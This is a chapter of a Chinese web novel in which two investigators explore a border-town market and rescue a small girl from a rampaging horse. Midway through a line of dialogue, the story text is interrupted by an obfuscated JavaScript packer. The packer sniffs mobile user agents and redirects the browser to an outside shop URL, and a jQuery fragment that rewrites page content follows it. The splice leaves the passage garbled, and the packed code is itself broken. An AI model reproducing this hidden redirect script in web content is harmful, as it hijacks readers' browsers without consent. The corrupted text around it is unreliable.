问刑(探案)桐木成林

57. 集市

    当晚,李希言就收到了关风和等人的来信。


    彼时,她还在屋内和容朗下棋。


    窗户忽然一响。


    她起身走向窗边,窗户边上正插着一小把飞刀,飞刀的尾端卷着纸。


    没有避开容朗,李希言拆下纸条就坐了回去,大大方方地和他一起看。


    “回信来得这样快,可见关校尉他们肯定是急得狠了。”容朗将棋盘挪开,往她身边靠了靠。


    纸条的大小有限,内容写得很简洁。


    开头就是三个字“望平安。”接着才写了其他。


    “刺客皆死,死状同苏州所遇,暂无头绪。都督言,与苏州漕帮有关。吾等皆安好。”


    “苏州漕帮,刺客……”李希言将纸条扔在脚边的火盆里,“其实那晚确实很奇怪。”


    “你是指船工?”


    “是。那晚从头至尾我都没有看见一个船工。”


    “那些船工……”


    “不会有问题的。他们都是绣衣司的产业中的人,每一个都经过挑选。而且若是那些人有问题,关姐一定会提起。”


    “应该是他们对船工动了什么手脚。”


    “最开始并没有血腥味,人没有死,等过几日他们到了问问那些船工就知道了。”


    容朗也没有什么头绪,只能应道:“也是,那晚确实诡异。”他话锋一转,“这几日你就好好歇歇吧。”


    “不了。这几日我准备出门逛逛。”


    容朗有些惊讶。


    “李少使不把自己关在屋里看书了?”


    “那个集市有很多南诏人,我想去探一探。”


    还是为了公事。


    容朗有一种“果然如此”的感觉。


    接下来的几日,二人都在集市里乱逛。


    已过午时,二人随意找了家路边摊坐下,一人点了一碗面就算是吃过了。


    放下筷子。


    李希言看了一眼坐在对面的容朗。


    挡光……


    “你吃一碗面就够了吗?”


    “够了啊。”容朗喝了一口手边的面汤,“姐姐,你觉得叙永这边怎么样?”


    “挺不错的。”李希言表情柔和了几分,“这里本在乌蒙山山区中,进出不便,土地也不多,而且还各族混居临近边境。按理说,不会太富裕。但是这几日下来,我看叙永的百姓还算是衣食丰足,日子安定,民风也淳朴。可见本地县令算是个能官。”


    容朗很喜欢这座被云雾缭绕着的小城。


    “论起‘安定’二字,这里比京城好上许多。京城说是天子脚下,却还是常有人在大街上纵马闹事。”


    “天子脚下,豪贵云集,自然少不了那些爱闹事的二世祖。叙永地方小,反而没那么多大门大户。”


    容朗掩着嘴,小声说道:“那些人比我还嚣张呢~”


    李希言这才想起。


    面前这人虽然总是传出“爱享乐”的名声,但是还真没和那群老犯事的人搅在一起过。


    也因此,自己这个也管京城治安的绣衣使从来未见过他的模样。


    “所以,我原来从未见过李娘子。”容朗开了个玩笑。


    “是吗?那你第一次见我怎么立刻就认出了我呢?”


    容朗眼睛一下就红了。


    “两年前。两年前远远见过一次。”


    这个时间点有些敏感。


    饶是李希言都觉得有些尴尬。


    “就是可惜。”容朗明明是在笑着,眼里的失落却怎么都遮不住,“晚了一点。”


    “不晚不晚!好饭不怕晚!”


    旁边一声突兀的话语让心思各异的二人都愣了一下。


    李希言生平第一次有这样窘迫的感觉。


    她忍不住循声而望。


    是附近一个酒楼门口,站着一个年轻郎君,油头粉面的公子哥儿,正和一群狐朋狗友闹着。


    一群十五六岁的小郎君,正是闹腾的时候,叽叽喳喳的吵个不停,互相攀比着。


    “你看我这个马!这毛色,这是我阿爹托人从西域带回来的,说是什么波斯马!”


    那马匹确实长得很是漂亮。


    体型高大,毛色发亮,头颈高昂。


    李希言揉了揉有些发涨的太阳穴。


    忽然觉得瑞王还算安静……


    “傻小子。”


    容朗也笑道:“定是他父亲知道自己儿子的性子不稳当,故意哄他的。反正这个小地方又有几个人分得清波斯马和龟兹马呢?这些小孩子才多大年纪,哪里能驾驭得了性子烈的波斯马,还是龟兹马性子温和更适合他们。”


    “令兄很小的时候就能降服烈马了。”李希言脸上不由带了些崇拜的意思。


    容朗酸言酸语:“是啊,哥哥不像我,从小身体不好,十二岁才敢上马。”


    他的话让自己想到了之前的传言,李希言顿觉失言。


    “也就是说你学骑马没几年?那也是骑得很不错了,之前办事也没见你落在我身后过。”


    特别好哄的容朗嘴里的酸味一下没了,嘴巴也跟抹了蜜似的,伸出一根食指晃了晃。


    “李娘子这话太过誉了,我原来可听哥哥说过,你在马术上才是这个。”


    身旁的街道上,或是朋友玩闹嬉戏,或是未婚男女情意绵绵,或是父母子女尽享天伦……


    喧闹声也变得悦耳起来。


    在这样的氛围中,人自觉会卸掉伪装。


    “令兄所言非虚。”李希言微微昂着头。


    容朗怔了一下。


    炫耀自己的长处时,她总会昂着头,小时候扎起的小辫都会跟着她的动作一翘一翘,只是那个时候她总是咧着嘴笑,不像现在这样习惯性地板着脸。


    怎样都是她,都是那样可爱。


    世事沧桑,会重新琢磨一切,没有任何人是不会变的,即使没有当年阴差阳错的别离,她也会变,自己也会变。


    所幸,命运有情,怜他孤苦。


    “咳!”李希言敲了一下桌面,揶揄道,“你不想买单也没必要装愣吧?”


    “啊?”容朗这才回过神。


    面前的桌子已经被打扫得一干二净,吃剩的碗筷也已经被老板收拾走了。


    李希言捏了捏发烫的耳垂。


    “此时正是生意好的时候,我们再坐在这里,就挡着老板生意了。”


    容朗转过头。


    正忙着收钱的老板对他挤眉弄眼的。


    “没事儿啊,不急不急。别人小哥儿看心上人看呆了多正常啊。”


    容朗脑子嗡得一下响了,整个人如同煮熟的虾一样红。


    怎么……怎么……这么直接啊……


    “你还好意思说别人。”隔壁的食客明显是老板的熟人,揭起老底儿来毫不手软,“你年轻的时候在河边偷看你婆娘,还落到河里了呢!”


    另外一个食客连忙附和:“还是我大哥救你起来的!”


    老板好不脸红,一边煮着面,一边回嘴:“好看嘞!”


    李希言借着空子,几乎是逃似的离开了面摊。


    容朗也猫着腰跟上。


    一路上,二人沉默了许多。


    像是玻璃隔断被打碎后的沉寂。


    直到一声马匹的嘶鸣才打破了二人之间的尴尬。


    原本人来人往的街道忽然乱作一团。


    在前方不远处,一匹骏马前脚腾空,拼命地甩动着身体。


    马上的人拽着马绳大声尖叫,明显是已经失了理智。


    四周的人已经躲开。


    “小心!”容朗忽然大喊一声。


    只见刚刚还空白一片的空地上突然趴着一个小姑娘。


    眼见着马匹的蹄子就要踏下去。


    容朗一下冲了出去,抱起小孩就地一滚躲了开来。


    马匹前蹄着地,骑马的人立即跳了下来。


    李希言却心中一跳。


    马匹前蹄刨着地,烦躁地甩着头。


    不好!是要继续发狂的征兆。


    她立即上前,跃上马匹,扯住缰绳。


    果然,就在她刚刚握住缰绳的时刻,马匹又开始疯狂的乱蹬。


    李希言稳住身体,拽着一根缰绳控制着马匹。


    马匹鼻子向扯得后倾斜,逐渐停止了动作。


    她这才放下心,安抚着马。


    “没事吧。”容朗抱着女孩站在马旁边,一脸关切。


    “没事。”李希言从容下了马,牵住马的缰绳。


    “好骑术!”


    刚刚被吓得魂不附体的百姓抚掌叫好。


    “好英气的娘子!”


    ……


    李希言环顾四周:“马主人呢?”


    这时,一个油头粉面的年轻郎君才低着头走了过来。


    正是刚刚那个在酒楼门口炫耀马的小郎君。


    “对不住,马是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093599|144568||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我的,我……我也不知道怎么回事,这马就发了狂。”


    “脾气再好的马也有发狂的时候,街上不能骑马是各地都有的规矩。”李希言脸色一沉,又恢复了几分绣衣使的模样,让人心生畏惧,“你应该知道。”


    “我……我……”那男子看了一眼缩在容朗怀里被吓得小脸煞白的小姑娘,一脸愧疚,“我赔钱可以吗?我真的不是故意的,我……”


    李希言忍住气,对着人群问道:“孩子的父母呢?”


    众人面面相觑。


    片刻后,一对一脸急切的夫妇才从人群中钻了出来。


    “我们是孩子的父母!”


    李希言打量了他们一眼。


    很普通的农人模样。


    男的高壮女的敦实,脸上是真实的着急。


    夫妇俩对着二人不住地道谢。


    容朗抚慰着孩子:“小姑娘,你爹娘来了,别怕啊,和你爹娘回家去吧,啊?”


    小姑娘搂着容朗的脖子不放手,怯怯地看了自己父母一眼,低低叫了一声:“爹,娘。”


    那妇人连忙擦了泪,伸手想要去抱她:“诶!二丫头来,娘抱你回家去。”


    小姑娘却忽然犯了轴,把头埋在容朗怀里,任凭妇人怎么说都当做没听见。


    孩子的父亲吼道:“你这孩子!怎么不听你娘的话!”


    李希言上前一步,隔在中间,摸着孩子幼小的脊背,对着夫妇二人面露怒色。


    “孩子才多大,肯定是被吓着了,你一个大人急躁什么。”


    绣衣司的李少使一冷脸,半朝官员都得颤颤心肝,更何况这对普通的夫妇。


    “这么大的孩子,平日里走路都该是牵着不放,今日在人来人往的你们自己也不注意,就不怕遇见拐子吗!现在倒是来朝着孩子发气耍威风了?”


    孩子的父亲被骂得低头不语,还是妇人大着胆子上前:“我家这个性子急,没有其他的意思。”她拍打了一下身边的夫君,又继续哄着孩子,“二丫头,乖啊,娘带你去吃糖葫芦好不好?”


    小姑娘的手逐渐松动。


    察觉到孩子的情绪,容朗失笑,掂了掂她。


    “再不跟你娘回去,就没有糖葫芦啰?”


    小姑娘一下急了,不可置信地看着他。


    容朗继续道:“真的哦。”


    几岁的孩子哪里懂大人的“险恶”,立即跳了下去。


    看这孩子快要摔下来,李希言急忙去接:“慢些。”


    小姑娘长得很可爱,脸圆圆的,红红的,一双眼睛笑起来像是月牙儿。


    她朝着二人道谢,声音清脆:“谢谢大哥哥大姐姐救我。”


    “乖孩子。”容朗抚了抚她的头,“胆子真大,真厉害。”


    小姑娘仰着小脑袋,很是享受这样的夸赞。


    夫妇二人抱着孩子又道了谢才准备离开。


    “等等。”李希言忽然出声喊住二人。


    夫妇二人一脸迷茫。


    李希言指着站在不远处的年轻郎君,动了动手指。


    “你,过来。”


    那年轻郎君拴好马,走了过来,深深行了一礼:“是小子不慎,差点让令千金受伤。”他掏出自己的钱袋子和玉佩,双手呈上,“请二位务必收下,聊表歉意。”


    他态度这样好。


    夫妇二人似乎是因为玉佩名贵,不敢去接。


    还是李希言伸手拿起钱袋子塞给他们:“玉佩免了,这钱拿去给孩子用着,本就是该你们的。”


    惹事的年轻郎君也急忙附和:“是是是,请二位收下。不然小子心中难安。”


    夫妇二人你看看我我看看你,犹豫了一番才收下了银子,说了几句客套话才转身离去。


    人走后,李希言忍不住多说了一句:“这样温顺的马都骑不好就别出来丢人惹事了。”


    年轻郎君倒是晓得自己惹了大祸,连连点头听训。


    “姐姐教训的是,是小子轻狂了。”


    叫谁姐姐呢!


    容朗不乐意了,他捂住胸口,轻轻痛呼一声。


    “呃。”


    “怎么了?”李希言见他这样,心都提了起来。


    难道是刚刚被伤到了哪里?


    “胸口有些疼。”容朗无力道,“或许是刚刚受伤了。姐姐,我们先回客栈好不好?”


    李希言被他的模样吓到,急忙扶住他。


    “走。”